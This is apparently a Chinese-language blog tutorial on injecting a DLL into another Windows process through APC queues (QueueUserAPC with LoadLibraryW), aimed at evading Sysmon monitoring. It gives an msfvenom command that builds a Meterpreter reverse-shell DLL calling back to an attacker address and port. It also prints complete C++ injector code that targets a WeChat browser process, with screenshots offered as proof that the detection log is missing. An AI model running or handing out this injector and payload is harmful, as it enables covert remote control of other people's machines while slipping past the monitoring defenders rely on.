1. 概述

1.1 注入条件

  1. 1.必须是多线程环境下
  2. 2.注入的程序必须会调用上面的那些同步对象.
  3. 那么我们可以注入APC,注意下条件,也不是所有都能注入的.
  5. 注入方法的原理:
  6. 1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断
  7. 2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数
  8. 3.我们利用QueueUserApc,往这个队列中插入一个回调
  9. 4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去

1.2 实现效果

正常进行DLL注入的话使用sysmon会产生id=8的CreateRemoteThread日志，但是使用APC注入的话却不会产生这种日志：
image.png

2. 实现

2.1 生成DLL文件

使用MSF生成dll文件，指定目标IP和目标端口

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=1234 -f dll > 1.dll

image.png

2.2 APC注入

  1. #include<stdio.h>
  2. #include<Windows.h>
  3. #include <tlhelp32.h>
  4. #include <iostream>
  5. #include <string>
  6. void GetErr() {
  7.     printf("Error:%d", GetLastError());
  8.     printf("\n");
  9.     exit(1);
  10. }
  11. int getprocess(WCHAR* processname) {
  12.     HANDLE  data = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  13.     if (data == INVALID_HANDLE_VALUE) {
  14.         printf("[-] CreateToolhelp32Snapshot failure");
  15.         GetErr();
  16.     }
  17.     else {
  18.         PROCESSENTRY32W pe = { sizeof(pe) };
  19.         printf("[*] CreateToolhelp32Snapshot Sucess\n");
  20.         for (bool dd = Process32FirstW(data, &pe); dd; dd = Process32NextW(data, &pe)) {
  21.             WCHAR* pname = pe.szExeFile;
  22.             int pid = pe.th32ProcessID;
  23.             if (wcscmp(processname, pname) == 0) {
  24.                 WCHAR info[650] = TEXT("name:");
  25.                 lstrcatW(info, pname);
  26.                 lstrcatW(info, TEXT(" "));
  27.                 wprintf(info);
  28.                 wprintf(TEXT("pid:"));
  29.                 printf("%d\n", pid);
  30.                 return pid;
  31.             }
  32.         }
  33.     }
  34.     return 0;
  35. }
  36. BOOL apcinject(int pid, WCHAR* dll) {
  37.     HANDLE openprocess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
  38.     if (openprocess == 0) {
  39.         GetErr();
  40.     }
  41.     else {
  42.         printf("[*] OpenProcess Sucess\n");
  43.     }
  44.     LPVOID vt = VirtualAllocEx(openprocess, 0, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  45.     if (vt == 0) {
  46.         printf("[-] VirtualAllocEx faliure\n");
  47.         GetErr();
  48.     }
  49.     else {
  50.         printf("[*] VirtualAllocEx Sucess\n");
  51.     }
  52.     SIZE_T dwRet;
  53.     bool write = WriteProcessMemory(openprocess, vt, dll, MAX_PATH, &dwRet);
  54.     if (write == 0) {
  55.         printf("[-] WriteProcessMemory faiure");
  56.         GetErr();
  57.     }
  58.     else {
  59.         printf("[*] WriteProcessMemory Sucess\n");
  60.     }
  61.     THREADENTRY32 te = { sizeof(te) };
  62.     HANDLE handleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
  63.     if (handleSnap == INVALID_HANDLE_VALUE)
  64.     {
  65.         printf("[-] CreateToolhelp32Snapshot faiure");
  66.         GetErr();
  67.     }
  68.     else {
  69.         printf("[*] CreateToolhelp32Snapshot Sucess\n");
  70.         /*
  71.         if (Thread32First(handleSnap, &te))
  72.         {
  73.                 do {
  74.                        if (te.th32OwnerProcessID == pid)
  75.                        {
  76.                                printf("%d\n", te.th32OwnerProcessID);
  77.                        }
  78.                 } while (Thread32Next(handleSnap, &te));
  79.         }
  80.                 */
  81.         for (bool td = Thread32First(handleSnap, &te); td; td = Thread32Next(handleSnap, &te)) {
  82.             if (te.th32OwnerProcessID == pid) {
  83.                 int tid = te.th32ThreadID;
  84.                 HANDLE openthread = OpenThread(THREAD_ALL_ACCESS, 0, tid);
  85.                 if (openthread == 0) {
  86.                     printf("[-] OpenThread faiure");
  87.                     GetErr();
  88.                 }
  89.                 else {
  90.                     printf("[*] OpenThread Sucess threadid:%d\n", tid);
  91.                     DWORD dwRet = QueueUserAPC((PAPCFUNC)LoadLibraryW, openthread, (ULONG_PTR)vt);
  92.                     if (dwRet == 0) {
  93.                         printf("[-] QueueUserAPC failure\n");
  94.                         GetErr();
  95.                     }
  96.                     else {
  97.                         printf("[+] APC Dll inject Sucess\n");
  98.                     }
  99.                 }
  100.             }
  102.         }
  103.     }
  104.     return true;
  105. }
  106. int main()
  107. {
  108.     WCHAR* dll = TEXT("C:\\Users\\Administrator\\Desktop\\1.dll");
  109.     apcinject(13060, dll); 
  110.     //13060为某个进程的PID，这里选择的为WechatBrowser.exe
  111.     system("pause");
  112.     return 0;
  113. }

这里我们选择注入13060的PID中
image.png

2.3 注入成功

image.png
通过ProcessHacker分析，确定其已被注入
image.png

2.4 注入效果-躲避sysmon监控

可以看到测试时的时间为21:22，但是过滤sysmon的日志却未发现这种类型的日志。
image.png
image.png

3. 参考

  1. https://422926799.github.io/posts/c9faf9c0.html
  2. https://qcsdn.com/article/174156.html
  3. https://3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7